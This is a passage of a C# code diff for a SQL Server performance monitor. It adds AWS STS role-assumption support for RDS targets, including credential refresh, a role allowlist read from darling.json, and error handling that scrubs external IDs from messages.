+    private static ImmutableCredentials ServeOrThrowFirst(Grant? old, AwsRoleAssumeException failure, DateTimeOffset now)
+    {
+        if (old is not null && now < old.ValidUntil - MinimumServedLife)
+        {
+            return old.Credentials;
+        }
+
+        throw failure;
+    }
+
+    private async Task<Grant> RefreshAsync(RegionEndpoint stsRegion, CancellationToken cancellationToken)
+    {
+        var region = stsRegion.SystemName;
+
+        /* One deadline covers the credential lookup and the STS call: the default chain can wait on an instance or
+           container endpoint or a single sign-on cache, and it must not hold every collector for this role. */
+        using var deadline = CancellationTokenSource.CreateLinkedTokenSource(cancellationToken);
+        deadline.CancelAfter(_refreshDeadline);
+
+        ImmutableCredentials sourceCredentials;
+        try
+        {
+            var source = await _source(stsRegion).WaitAsync(deadline.Token).ConfigureAwait(false)
+                ?? throw new AmazonClientException("The credential source returned no credentials.");
+            sourceCredentials = await source.GetCredentialsAsync().WaitAsync(deadline.Token).ConfigureAwait(false);
+        }
+        catch (OperationCanceledException) when (cancellationToken.IsCancellationRequested)
+        {
+            throw;
+        }
+        catch (OperationCanceledException) when (deadline.IsCancellationRequested)
+        {
+            throw AwsRoleAssumeException.ForTimeout(Key, region, _refreshDeadline);
+        }
+        catch (Exception ex)
+        {
+            throw AwsRoleAssumeException.ForNoSourceIdentity(Key, region, ex);
+        }
+
+        var request = new AssumeRoleRequest
+        {
+            RoleArn = Key.RoleArn,
+            RoleSessionName = SessionNameFor(_installId?.Invoke()),
+            DurationSeconds = DurationSeconds,
+        };
+        if (Key.HasExternalId)
+        {
+            request.ExternalId = Key.ExternalId;
+        }
+
+        AssumeRoleResponse? response;
+        try
+        {
+            var stsCredentials = sourceCredentials.Token is { Length: > 0 }
+                ? (AWSCredentials)new SessionAWSCredentials(sourceCredentials.AccessKey, sourceCredentials.SecretKey, sourceCredentials.Token)
+                : new BasicAWSCredentials(sourceCredentials.AccessKey, sourceCredentials.SecretKey);
+            using var sts = _stsFactory(stsRegion, stsCredentials);
+            response = await sts.AssumeRoleAsync(request, deadline.Token).ConfigureAwait(false);
+        }
+        catch (OperationCanceledException) when (cancellationToken.IsCancellationRequested)
+        {
+            throw;
+        }
+        catch (OperationCanceledException) when (deadline.IsCancellationRequested)
+        {
+            throw AwsRoleAssumeException.ForTimeout(Key, region, _refreshDeadline);
+        }
+        catch (Exception ex)
+        {
+            throw AwsRoleAssumeException.ForStsFailure(Key, region, ex);
+        }
+
+        var granted = response?.Credentials;
+        if (granted is null || string.IsNullOrEmpty(granted.AccessKeyId) || string.IsNullOrEmpty(granted.SecretAccessKey)
+            || string.IsNullOrEmpty(granted.SessionToken))
+        {
+            throw AwsRoleAssumeException.ForEmptyResponse(Key, region);
+        }
+
+        var received = _clock.GetUtcNow();
+        var validUntil = received.AddSeconds(DurationSeconds);
+
+        return new Grant(
+            new ImmutableCredentials(granted.AccessKeyId, granted.SecretAccessKey, granted.SessionToken),
+            validUntil, RefreshPointFor(received, validUntil));
+    }
+
+    /// <summary>
+    /// When a refresh is due for credentials received at <paramref name="received"/> and valid until
+    /// <paramref name="validUntil"/>: <see cref="RefreshLead"/> before expiry, but never sooner than
+    /// <see cref="MinimumRefreshInterval"/> after receipt, so credentials that live only a short time cannot make every
+    /// call refresh.
+    /// </summary>
+    internal static DateTimeOffset RefreshPointFor(DateTimeOffset received, DateTimeOffset validUntil)
+    {
+        var refreshAt = validUntil - RefreshLead;
+        var soonest = received + MinimumRefreshInterval;
+        return refreshAt < soonest ? soonest : refreshAt;
+    }
+
+    private static AmazonSecurityTokenServiceClient DefaultStsFactory(RegionEndpoint region, AWSCredentials credentials) =>
+        new AmazonSecurityTokenServiceClient(credentials, CreateStsConfig(region));
+
+    private static async Task<AWSCredentials> DefaultSource(RegionEndpoint region)
+    {
+        return await DefaultAWSCredentialsIdentityResolver.GetCredentialsAsync(CreateStsConfig(region)).ConfigureAwait(false);
+    }
+
+    private sealed record Grant(ImmutableCredentials Credentials, DateTimeOffset ValidUntil, DateTimeOffset RefreshAt);
+
+    /// <summary>What a failed refresh left behind: the facts, never the exception, so every throw is a new one.</summary>
+    private sealed class Failure
+    {
+        private readonly AwsRoleAssumeKind _kind;
+        private readonly string _message;
+        private readonly string? _code;
+        private readonly string? _type;
+        private readonly string? _detail;
+
+        public Failure(DateTimeOffset at, string region, AwsRoleAssumeException from)
+        {
+            At = at;
+            Region = region;
+            _kind = from.Kind;
+            _message = from.Message;
+            _code = from.SourceErrorCode;
+            _type = from.SourceExceptionType;
+            _detail = from.SourceDetail;
+        }
+
+        public DateTimeOffset At { get; }
+
+        public string Region { get; }
+
+        public AwsRoleAssumeException ToException(AwsRoleKey key) => AwsRoleAssumeException.Rebuild(_kind, key, Region, _message, _code, _type, _detail);
+    }
+
+    private sealed class RegionHandle : AWSCredentials
+    {
+        private readonly AwsAssumedRoleCredentials _owner;
+        private readonly RegionEndpoint _region;
+
+        public RegionHandle(AwsAssumedRoleCredentials owner, RegionEndpoint region)
+        {
+            _owner = owner;
+            _region = region;
+        }
+
+        public override ImmutableCredentials GetCredentials() => GetCredentialsAsync().GetAwaiter().GetResult();
+
+        public override Task<ImmutableCredentials> GetCredentialsAsync() => _owner.GetCredentialsAsync(_region, CancellationToken.None);
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Targets/AwsRoleAllowlist.cs b/Darling/PerformanceMonitor.Darling.Service/Targets/AwsRoleAllowlist.cs
new file mode 100644
index 0000000000..d690785c6e
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Targets/AwsRoleAllowlist.cs
@@ -0,0 +1,190 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Storage;
+
+namespace PerformanceMonitor.Darling.Service.Targets;
+
+/// <summary>
+/// Which AWS roles the service may assume for an Amazon RDS or Aurora target (#5452). The list comes from darling.json:
+/// the top-level <c>allowedAwsRoles</c> setting plus the <c>awsRoleArn</c> of every <c>servers[]</c> entry. A role
+/// saved from the web, MCP, the desktop viewer or <c>--add-server</c> runs only if it is on the list. An entry is
+/// either a full role ARN, matched exactly (ordinal, case-sensitive), or an AWS account id, which allows every role
+/// in that account. A bare 12-digit id is an account in the <c>aws</c> partition; an account in another partition is
+/// written with it, as <c>aws-cn:123456789012</c> or <c>aws-us-gov:123456789012</c>. <see cref="Empty"/> allows none.
+///
+/// <para>darling.json is read once at start, so an edit to the list applies on the next restart.
+/// <see cref="Current"/> is set once, where the worker builds the collector runner, the same way as
+/// <see cref="DarlingPasswordKey.Current"/>. Tests pass a list to the overloads and never set it.</para>
+/// </summary>
+public sealed class AwsRoleAllowlist
+{
+    /// <summary>The error text for an <c>allowedAwsRoles</c> entry that is neither a role ARN nor a 12-digit account id.</summary>
+    public const string InvalidEntryMessage =
+        "Each entry must be an IAM role ARN, such as arn:aws:iam::123456789012:role/darling-monitor, or a 12-digit AWS account id, such as 123456789012 (a China or GovCloud account is written with its partition, such as aws-cn:123456789012).";
+
+    /* A bare id is the aws partition; "aws-cn:<id>" and "aws-us-gov:<id>" name the others. */
+    private static readonly Regex AccountIdPattern = new(
+        @"^(?:(?<partition>aws(?:-[a-z]+)*):)?(?<account>[0-9]{12})\z",
+        RegexOptions.CultureInvariant | RegexOptions.ExplicitCapture, TimeSpan.FromSeconds(1));
+
+    private static readonly Regex RoleAccountPattern = new(
+        @"^arn:(?<partition>aws(?:-[a-z]+)*):iam::(?<account>[0-9]{12}):role/",
+        RegexOptions.CultureInvariant | RegexOptions.ExplicitCapture, TimeSpan.FromSeconds(1));
+
+    private readonly HashSet<string> _arns;
+    private readonly HashSet<string> _accounts;
+
+    private AwsRoleAllowlist(HashSet<string> arns, HashSet<string> accounts)
+    {
+        _arns = arns;
+        _accounts = accounts;
+    }
+
+    /// <summary>A list that allows no role.</summary>
+    public static AwsRoleAllowlist Empty { get; } = new(new HashSet<string>(StringComparer.Ordinal), new HashSet<string>(StringComparer.Ordinal));
+
+    private static volatile AwsRoleAllowlist _current = Empty;
+
+    /// <summary>The list in use. It starts as <see cref="Empty"/> until the worker sets it at start.</summary>
+    public static AwsRoleAllowlist Current
+    {
+        get => _current;
+        internal set => _current = value ?? throw new ArgumentNullException(nameof(value));
+    }
+
+    /// <summary>How many entries the list holds: role ARNs plus account ids.</summary>
+    public int Count => _arns.Count + _accounts.Count;
+
+    /// <summary>
+    /// The error text for one <c>allowedAwsRoles</c> entry that is not usable, or null when it is a role ARN or a
+    /// 12-digit account id. Pass the entry as written: it is trimmed here, and a blank entry is an error.
+    /// </summary>
+    public static string? ValidateEntry(string? entry)
+    {
+        var value = AwsRoleSettings.Normalize(entry);
+        if (value is null)
+        {
+            return InvalidEntryMessage;
+        }
+
+        if (AccountKey(value) is not null)
+        {
+            return null;
+        }
+
+        return AwsRoleSettings.ValidateRole(value) is null ? null : InvalidEntryMessage;
+    }
+
+    /// <summary>
+    /// Builds a list from entries. Each is trimmed, a blank or unusable one is dropped (darling.json validation
+    /// refuses it at load, so none arrives from there), and a repeat is counted once.
+    /// </summary>
+    public static AwsRoleAllowlist From(IEnumerable<string?>? entries)
+    {
+        var arns = new HashSet<string>(StringComparer.Ordinal);
+        var accounts = new HashSet<string>(StringComparer.Ordinal);
+        foreach (var raw in entries ?? Array.Empty<string?>())
+        {
+            var value = AwsRoleSettings.Normalize(raw);
+            if (value is null || ValidateEntry(value) is not null)
+            {
+                continue;
+            }
+
+            var accountKey = AccountKey(value);
+            if (accountKey is not null)
+            {
+                accounts.Add(accountKey);
+            }
+            else
+            {
+                arns.Add(value);
+            }
+        }
+
+        return arns.Count == 0 && accounts.Count == 0 ? Empty : new AwsRoleAllowlist(arns, accounts);
+    }
+
+    /// <summary>
+    /// The list darling.json makes: <c>allowedAwsRoles</c> plus the <c>awsRoleArn</c> of every <c>servers[]</c> entry,
+    /// so a server written in the file runs without being listed twice.
+    /// </summary>
+    public static AwsRoleAllowlist FromConfig(DarlingConfig config)
+    {
+        ArgumentNullException.ThrowIfNull(config);
+        var entries = new List<string?>();
+        if (config.AllowedAwsRoles is not null)
+        {
+            entries.AddRange(config.AllowedAwsRoles);
+        }
+
+        if (config.Servers is not null)
+        {
+            entries.AddRange(config.Servers.Where(s => s is not null).Select(s => s.AwsRoleArn));
+        }
+
+        return From(entries);
+    }
+
+    /// <summary>
+    /// True when <paramref name="roleArn"/> is on this list: an entry equals it exactly, or an account entry equals
+    /// the partition and account id in it. A blank or null role is never allowed.
+    /// </summary>
+    public bool IsAllowed(string? roleArn)
+    {
+        var role = AwsRoleSettings.Normalize(roleArn);
+        if (role is null)
+        {
+            return false;
+        }
+
+        if (_arns.Contains(role))
+        {
+            return true;
+        }
+
+        if (_accounts.Count == 0)
+        {
+            return false;
+        }
+
+        var match = RoleAccountPattern.Match(role);
+        return match.Success && _accounts.Contains(match.Groups["partition"].Value + ":" + match.Groups["account"].Value);
+    }
+
+    /// <summary>
+    /// The partition and account of an account entry, as <c>aws:123456789012</c>, or null when the entry is not an
+    /// account entry. A bare 12-digit id is in the <c>aws</c> partition.
+    /// </summary>
+    private static string? AccountKey(string value)
+    {
+        var match = AccountIdPattern.Match(value);
+        if (!match.Success)
+        {
+            return null;
+        }
+
+        var partition = match.Groups["partition"].Success ? match.Groups["partition"].Value : "aws";
+        return partition + ":" + match.Groups["account"].Value;
+    }
+
+    /// <summary><see cref="IsAllowed(string?)"/> against the list in <paramref name="allowlist"/>, so a test names the list it means.</summary>
+    public static bool IsAllowed(string? roleArn, AwsRoleAllowlist allowlist)
+    {
+        ArgumentNullException.ThrowIfNull(allowlist);
+        return allowlist.IsAllowed(roleArn);
+    }
+
+    /// <summary><see cref="IsAllowed(string?)"/> against <see cref="Current"/>.</summary>
+    public static bool IsAllowedNow(string? roleArn) => Current.IsAllowed(roleArn);
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Targets/AwsRoleAssumeException.cs b/Darling/PerformanceMonitor.Darling.Service/Targets/AwsRoleAssumeException.cs
new file mode 100644
index 0000000000..721beb749c
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Targets/AwsRoleAssumeException.cs
@@ -0,0 +1,280 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Net;
+using Amazon.Runtime;
+using Amazon.SecurityToken.Model;
+
+namespace PerformanceMonitor.Darling.Service.Targets;
+
+/// <summary>Why a per-server AWS role could not be used (#5452).</summary>
+public enum AwsRoleAssumeKind
+{
+    /// <summary>The role is not on the allow list in darling.json, so it was never assumed.</summary>
+    NotAllowed,
+
+    /// <summary>The role's AWS partition is not the partition of the target's region.</summary>
+    PartitionMismatch,
+
+    /// <summary>STS refused: the role, its trust policy, the external ID or the host's permission is wrong.</summary>
+    Denied,
+
+    /// <summary>STS is not active in the target's region for the host's account.</summary>
+    RegionDisabled,
+
+    /// <summary>The host has no AWS credentials to assume the role with.</summary>
+    NoSourceIdentity,
+
+    /// <summary>AWS rejected the host's own credentials (expired, unknown, or a skewed clock).</summary>
+    SourceCredentials,
+
+    /// <summary>Any other failure: a timeout, a network error, an STS fault.</summary>
+    Transient,
+}
+
+/// <summary>
+/// The one exception every failure to assume a per-server AWS role comes out as (#5452). The credentials class turns
+/// every STS or credential failure into this type, so the raw SDK exception, which can repeat the request, never
+/// travels further.
+///
+/// <para><b>The external ID is never in it.</b> The message is either written here from the role ARN, the region and
+/// <c>ExternalId = set|none</c>, with at most the SDK exception type name and the AWS error code added to it. The SDK's
+/// own text, with the external ID scrubbed out first, is kept in <see cref="SourceDetail"/> for the service log alone.
+/// The raw SDK exception is dropped (no <see cref="Exception.InnerException"/>); only its error code, type name and
+/// that scrubbed text are kept. A fresh instance
+/// is made for every throw, including one that serves a cached failure, so no two throws share a stack trace.
+/// <see cref="ToString"/> is written here and prints the kind, the message and the stack, nothing else.</para>
+///
+/// <para><see cref="Exception.Message"/> is the text for the collection log and the warning log (the SDK's own text
+/// is added to the warning log by the credentials class, not to this message).
+/// <see cref="Find"/> walks the inner-exception chain, so an ingestor that wraps the failure still lets the worker see it.</para>
+/// </summary>
+public sealed class AwsRoleAssumeException : Exception
+{
+    private const int MaxChainDepth = 16;
+
+    private AwsRoleAssumeException(
+        AwsRoleAssumeKind kind, string roleArn, string region, bool externalIdSet, string message,
+        string? sourceErrorCode, string? sourceExceptionType, string? sourceDetail = null)
+        : base(message)
+    {
+        Kind = kind;
+        RoleArn = roleArn;
+        Region = region;
+        ExternalIdSet = externalIdSet;
+        SourceErrorCode = sourceErrorCode;
+        SourceExceptionType = sourceExceptionType;
+        SourceDetail = sourceDetail;
+    }
+
+    /// <summary>What went wrong.</summary>
+    public AwsRoleAssumeKind Kind { get; }
+
+    /// <summary>The role ARN the server uses.</summary>
+    public string RoleArn { get; }
+
+    /// <summary>The target's AWS region.</summary>
+    public string Region { get; }
+
+    /// <summary>Whether an external ID was set for the role. The value is never kept.</summary>
+    public bool ExternalIdSet { get; }
+
+    /// <summary>The AWS error code of the failure, when AWS gave one. Scrubbed of the external ID.</summary>
+    public string? SourceErrorCode { get; }
+
+    /// <summary>The type name of the exception the SDK threw, with no message and no stack.</summary>
+    public string? SourceExceptionType { get; }
+
+    /// <summary>
+    /// The SDK's own message with the external ID scrubbed out, for the service log. It is not part of
+    /// <see cref="Exception.Message"/>, so it never reaches the collection log or any answer.
+    /// </summary>
+    public string? SourceDetail { get; }
+
+    /// <summary>
+    /// True for a failure the operator fixes by changing configuration: the worker reports it as PERMISSIONS rather
+    /// than as a general ERROR. A rejected host credential, a missing one and a transient fault are ERROR.
+    /// </summary>
+    public bool IsConfiguration => Kind is AwsRoleAssumeKind.NotAllowed or AwsRoleAssumeKind.PartitionMismatch
+        or AwsRoleAssumeKind.Denied or AwsRoleAssumeKind.RegionDisabled;
+
+    /// <summary>The first <see cref="AwsRoleAssumeException"/> in <paramref name="ex"/> or its inner exceptions, or null.</summary>
+    public static AwsRoleAssumeException? Find(Exception? ex)
+    {
+        var depth = 0;
+        while (ex is not null && depth++ < MaxChainDepth)
+        {
+            if (ex is AwsRoleAssumeException found)
+            {
+                return found;
+            }
+
+            if (ex is AggregateException aggregate)
+            {
+                foreach (var inner in aggregate.InnerExceptions)
+                {
+                    var hit = Find(inner);
+                    if (hit is not null)
+                    {
+                        return hit;
+                    }
+                }
+            }
+
+            ex = ex.InnerException;
+        }
+
+        return null;
+    }
+
+    public override string ToString()
+    {
+        var text = $"{GetType().FullName}: {Message} (kind {Kind}"
+            + (SourceErrorCode is null ? string.Empty : ", error code " + SourceErrorCode)
+            + (SourceExceptionType is null ? string.Empty : ", from " + SourceExceptionType)
+            + ")";
+        return StackTrace is null ? text : text + Environment.NewLine + StackTrace;
+    }
+
+    /// <summary>The role is not on the allow list.</summary>
+    internal static AwsRoleAssumeException ForNotAllowed(AwsRoleKey key, string region) =>
+        new(AwsRoleAssumeKind.NotAllowed, key.RoleArn, region, key.HasExternalId,
+            $"The AWS role {key.RoleArn} on this server is not in allowedAwsRoles in darling.json, so it was not used. "
+            + "Nothing was read this cycle. Add the role or its account id to the list and restart the service, or clear the role on this server.",
+            null, null);
+
+    /// <summary>The role's partition is not the region's.</summary>
+    internal static AwsRoleAssumeException ForPartitionMismatch(AwsRoleKey key, string region, string rolePartition, string regionPartition) =>
+        new(AwsRoleAssumeKind.PartitionMismatch, key.RoleArn, region, key.HasExternalId,
+            $"Role {key.RoleArn} is in AWS partition {rolePartition}, but this target's region {region} is in partition {regionPartition}. "
+            + "A role can be assumed only inside its own partition. Nothing was read this cycle. "
+            + "Set a role from the target's partition on this server, or clear the role, or correct the server's host name if it names the wrong region.",
+            null, null);
+
+    /// <summary>The host has no AWS credentials to assume the role with.</summary>
+    internal static AwsRoleAssumeException ForNoSourceIdentity(AwsRoleKey key, string region, Exception? raw) =>
+        FromRaw(AwsRoleAssumeKind.NoSourceIdentity, key, region, raw,
+            (_, code, type) => $"The monitoring host has no AWS credentials to assume role {key.RoleArn} with. Nothing was read this cycle. "
+                + "Give the service an AWS identity to sign in with (an instance profile, a container task role, environment variables "
+                + "or a shared credentials profile it can read), then restart the service."
+                + SourceNote(code, type));
+
+    /// <summary>The assume-role call failed. The raw exception is read for its code and type, then dropped.</summary>
+    internal static AwsRoleAssumeException ForStsFailure(AwsRoleKey key, string region, Exception raw)
+    {
+        var code = (raw as AmazonServiceException)?.ErrorCode;
+        var kind = raw is RegionDisabledException || StartsWithOrdinalIgnoreCase(code, "RegionDisabled")
+            ? AwsRoleAssumeKind.RegionDisabled
+            : StartsWithOrdinalIgnoreCase(code, "AccessDenied")
+                ? AwsRoleAssumeKind.Denied
+                : StartsWithOrdinalIgnoreCase(code, "ExpiredToken") || StartsWithOrdinalIgnoreCase(code, "InvalidClientTokenId")
+                    || StartsWithOrdinalIgnoreCase(code, "SignatureDoesNotMatch")
+                    ? AwsRoleAssumeKind.SourceCredentials
+                    : AwsRoleAssumeKind.Transient;
+
+        return FromRaw(kind, key, region, raw, (_, code, type) => kind switch
+        {
+            AwsRoleAssumeKind.RegionDisabled =>
+                $"AWS STS is not active in region {region} for the monitoring host's AWS account, so role {key.RoleArn} could not be assumed. "
+                + "Nothing was read this cycle. Enable that region for the AWS account that owns the role and for the monitoring host's account "
+                + "(AWS account settings, Regions), or set a role in a region that is enabled, or correct the server's host name if it names the wrong region.",
+            AwsRoleAssumeKind.Denied =>
+                $"AWS refused to let the monitoring host assume role {key.RoleArn} "
+                + (key.HasExternalId ? "(with the external ID set on this server)" : "(without an external ID)")
+                + ". Nothing was read this cycle. One of these is wrong: the role does not exist, its trust policy does not trust the host's AWS identity, "
+                + "the external ID does not match the trust policy's sts:ExternalId condition, or the host's identity has no sts:AssumeRole permission on the role. "
+                + "AWS gives the same answer for all four.",
+            AwsRoleAssumeKind.SourceCredentials =>
+                $"AWS rejected the monitoring host's own credentials while it assumed role {key.RoleArn}"
+                + (string.IsNullOrEmpty(code) ? string.Empty : $" ({Scrub(code, key.ExternalId)})")
+                + ". The credentials the service runs with are expired or wrong, or the host's clock is off. Nothing was read this cycle. "
+                + "Fix the host's credentials or clock; a new attempt is made within a minute.",
+            _ => $"Assuming role {key.RoleArn}: AWS STS could not be reached or answered with an error. Nothing was read this cycle. "
+                + "A new attempt is made within a minute."
+                + SourceNote(code, type),
+        });
+    }
+
+    /// <summary>The refresh did not finish inside its time limit.</summary>
+    internal static AwsRoleAssumeException ForTimeout(AwsRoleKey key, string region, TimeSpan limit) =>
+        new(AwsRoleAssumeKind.Transient, key.RoleArn, region, key.HasExternalId,
+            $"Assuming role {key.RoleArn}: AWS STS did not answer within {limit.TotalSeconds.ToString("0.###", CultureInfo.InvariantCulture)} seconds.",
+            null, typeof(TimeoutException).FullName);
+
+    /// <summary>STS answered without usable credentials.</summary>
+    internal static AwsRoleAssumeException ForEmptyResponse(AwsRoleKey key, string region) =>
+        new(AwsRoleAssumeKind.Transient, key.RoleArn, region, key.HasExternalId,
+            $"Assuming role {key.RoleArn}: AWS STS answered without credentials.", null, null);
+
+    /// <summary>A new exception from the facts of an earlier one, for a throw that serves a cached failure.</summary>
+    internal static AwsRoleAssumeException Rebuild(
+        AwsRoleAssumeKind kind, AwsRoleKey key, string region, string message, string? code, string? type, string? detail = null) =>
+        new(kind, key.RoleArn, region, key.HasExternalId, message, code, type, detail);
+
+    /// <summary>
+    /// Takes <paramref name="text"/> with every form of <paramref name="externalId"/> removed: as written, and as a URL
+    /// or HTML encoder would write it, compared without regard to case. A null or empty ID leaves the text alone.
+    /// </summary>
+    internal static string Scrub(string? text, string? externalId)
+    {
+        if (string.IsNullOrEmpty(text) || string.IsNullOrEmpty(externalId))
+        {
+            return text ?? string.Empty;
+        }
+
+        var result = text;
+        foreach (var form in new[]
+                 {
+                     externalId,
+                     Uri.EscapeDataString(externalId),
+                     WebUtility.UrlEncode(externalId),
+                     WebUtility.HtmlEncode(externalId),
+                 })
+        {
+            if (!string.IsNullOrEmpty(form))
+            {
+                result = result.Replace(form, "[external ID]", StringComparison.OrdinalIgnoreCase);
+            }
+        }
+
+        return result;
+    }
+
+    private static AwsRoleAssumeException FromRaw(
+        AwsRoleAssumeKind kind, AwsRoleKey key, string region, Exception? raw, Func<string, string?, string?, string> message)
+    {
+        var scrubbed = Scrub(raw?.Message, key.ExternalId);
+        var code = (raw as AmazonServiceException)?.ErrorCode;
+        var safeCode = code is null ? null : Scrub(code, key.ExternalId);
+        var type = raw?.GetType().FullName;
+        return new AwsRoleAssumeException(
+            kind, key.RoleArn, region, key.HasExternalId, message(scrubbed, safeCode, type),
+            safeCode, type, scrubbed.Length == 0 ? null : scrubbed);
+    }
+
+    /// <summary>
+    /// The tail of a message that names the SDK exception type and the AWS error code, and nothing the SDK wrote.
+    /// Empty when the SDK gave neither.
+    /// </summary>
+    private static string SourceNote(string? code, string? type)
+    {
+        if (string.IsNullOrEmpty(code) && string.IsNullOrEmpty(type))
+        {
+            return string.Empty;
+        }
+
+        return " (" + (string.IsNullOrEmpty(type) ? string.Empty : "SDK exception " + type)
+            + (string.IsNullOrEmpty(code) ? string.Empty : (string.IsNullOrEmpty(type) ? string.Empty : ", ") + "AWS error code " + code)
+            + ")";
+    }
+
+    private static bool StartsWithOrdinalIgnoreCase(string? value, string prefix) =>
+        value is not null && value.StartsWith(prefix, StringComparison.OrdinalIgnoreCase);
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Targets/AwsRoleClients.cs b/Darling/PerformanceMonitor.Darling.Service/Targets/AwsRoleClients.cs
new file mode 100644
index 0000000000..62131a4896
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Targets/AwsRoleClients.cs
@@ -0,0 +1,65 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using Amazon;
+using Amazon.PI;
+using Amazon.RDS;
+
+namespace PerformanceMonitor.Darling.Service.Targets;
+
+/// <summary>
+/// Builds the AWS clients the RDS readers use, for a server that has its own AWS role or none (#5452).
+///
+/// <para><b>A server with no role</b> gets the SDK's default credential chain, exactly as before the roles existed.
+/// <b>A server with a role</b> gets a client bound to the credentials <see cref="AwsRoleCredentialCache.For"/> hands back,
+/// and <c>For</c> checks the allow list and the partition before it returns, so a refused role throws
+/// <see cref="AwsRoleAssumeException"/> before any client is built or any AWS call is made.</para>
+///
+/// <para><b>A role is never read with the process credentials.</b> The public constructors still take a plain
+/// <c>Func&lt;string, IAmazonRDS&gt;</c> (and the PI twin), a shape that cannot say which role to read under. Such a factory
+/// is adapted so that it serves a server with no role as it always did and refuses a server that has one, with an
+/// <see cref="InvalidOperationException"/>: a caller that hands in its own factory and then names a role has asked for
+/// something the factory cannot do, and answering it with the host's own credentials would read the wrong account. The
+/// default factories with no cache refuse a role the same way.</para>
+/// </summary>
+internal static class AwsRoleClients
+{
+    internal const string NoRoleSupportMessage =
+        "This server names an AWS role, but the client factory in use cannot read under a role. "
+        + "Nothing was read; the host's own credentials are not used for a server that has a role.";
+
+    /// <summary>The RDS client factory: <paramref name="processFactory"/> for a server with no role, a role-bound client from <paramref name="roles"/> for one with a role.</summary>
+    internal static Func<string, AwsRoleKey?, IAmazonRDS> Rds(Func<string, IAmazonRDS>? processFactory, AwsRoleCredentialCache? roles)
+    {
+        if (processFactory is not null)
+        {
+            return (region, role) => role is null ? processFactory(region) : throw new InvalidOperationException(NoRoleSupportMessage);
+        }
+
+        return (region, role) => role is null
+            ? new AmazonRDSClient(RegionEndpoint.GetBySystemName(region))
+            : new AmazonRDSClient(RequireRoles(roles).For(role.Value, region), RegionEndpoint.GetBySystemName(region));
+    }
+
+    /// <summary>The Performance Insights client factory, with the same rules as <see cref="Rds"/>.</summary>
+    internal static Func<string, AwsRoleKey?, IAmazonPI> Pi(Func<string, IAmazonPI>? processFactory, AwsRoleCredentialCache? roles)
+    {
+        if (processFactory is not null)
+        {
+            return (region, role) => role is null ? processFactory(region) : throw new InvalidOperationException(NoRoleSupportMessage);
+        }
+
+        return (region, role) => role is null
+            ? new AmazonPIClient(RegionEndpoint.GetBySystemName(region))
+            : new AmazonPIClient(RequireRoles(roles).For(role.Value, region), RegionEndpoint.GetBySystemName(region));
+    }
+
+    private static AwsRoleCredentialCache RequireRoles(AwsRoleCredentialCache? roles)
+        => roles ?? throw new InvalidOperationException(NoRoleSupportMessage);
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Targets/AwsRoleCredentialCache.cs b/Darling/PerformanceMonitor.Darling.Service/Targets/AwsRoleCredentialCache.cs
new file mode 100644
index 0000000000..bc25889268
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Targets/AwsRoleCredentialCache.cs
@@ -0,0 +1,129 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading.Tasks;
+using Amazon;
+using Amazon.Runtime;
+using Amazon.SecurityToken;
+using Microsoft.Extensions.Logging;
+
+namespace PerformanceMonitor.Darling.Service.Targets;
+
+/// <summary>
+/// The assumed-role credentials the process holds, one <see cref="AwsAssumedRoleCredentials"/> per
+/// <see cref="AwsRoleKey"/> (#5452). Two servers that name the same role and external ID share one entry and one STS
+/// call per refresh.
+///
+/// <para><b>What <see cref="For"/> checks, in this order, on EVERY call.</b> First the allow list: a role the list does
+/// not allow is never assumed, even when a row already stores it and even when an entry for it is cached
+/// (<see cref="AwsRoleAssumeKind.NotAllowed"/>). Then the partition: the role ARN's partition must be the partition of
+/// the target's region, and this is checked on every call because the same key can be asked for from regions in two
+/// partitions (<see cref="AwsRoleAssumeKind.PartitionMismatch"/>). Only then does it find or make the entry, and STS
+/// is called later, when an SDK client first signs a request with the handle it returns. Both refusals are thrown from
+/// <see cref="For"/> before any client is built or any AWS call is made.</para>
+///
+/// <para>One cache per process, built beside the collector runner's ingestors. It holds no long-lived disposable, so
+/// nothing needs disposing; <see cref="Retain"/> drops the keys that no enabled server names any more.</para>
+/// </summary>
+public sealed class AwsRoleCredentialCache
+{
+    private readonly ConcurrentDictionary<AwsRoleKey, AwsAssumedRoleCredentials> _entries = new();
+    private readonly AwsRoleAllowlist? _allowlist;
+    private readonly Func<string?>? _installId;
+    private readonly Func<RegionEndpoint, AWSCredentials, IAmazonSecurityTokenService>? _stsFactory;
+    private readonly Func<RegionEndpoint, Task<AWSCredentials>>? _source;
+    private readonly TimeProvider? _clock;
+    private readonly TimeSpan? _refreshDeadline;
+    private readonly ILogger? _logger;
+
+    /// <param name="allowlist">The roles that may be assumed. Default: <see cref="AwsRoleAllowlist.Current"/>, read at
+    /// each call, so the list the worker sets at start is the one in force.</param>
+    /// <param name="installId">The store's install id, for the session name.</param>
+    /// <param name="stsFactory">Test seam: builds the STS client.</param>
+    /// <param name="source">Test seam: the credentials that call STS.</param>
+    /// <param name="clock">Test seam: the clock for the expiry arithmetic.</param>
+    /// <param name="refreshDeadline">Test seam: the longest one refresh may take.</param>
+    /// <param name="logger">Gets a warning line for each failed refresh.</param>
+    public AwsRoleCredentialCache(
+        AwsRoleAllowlist? allowlist = null,
+        Func<string?>? installId = null,
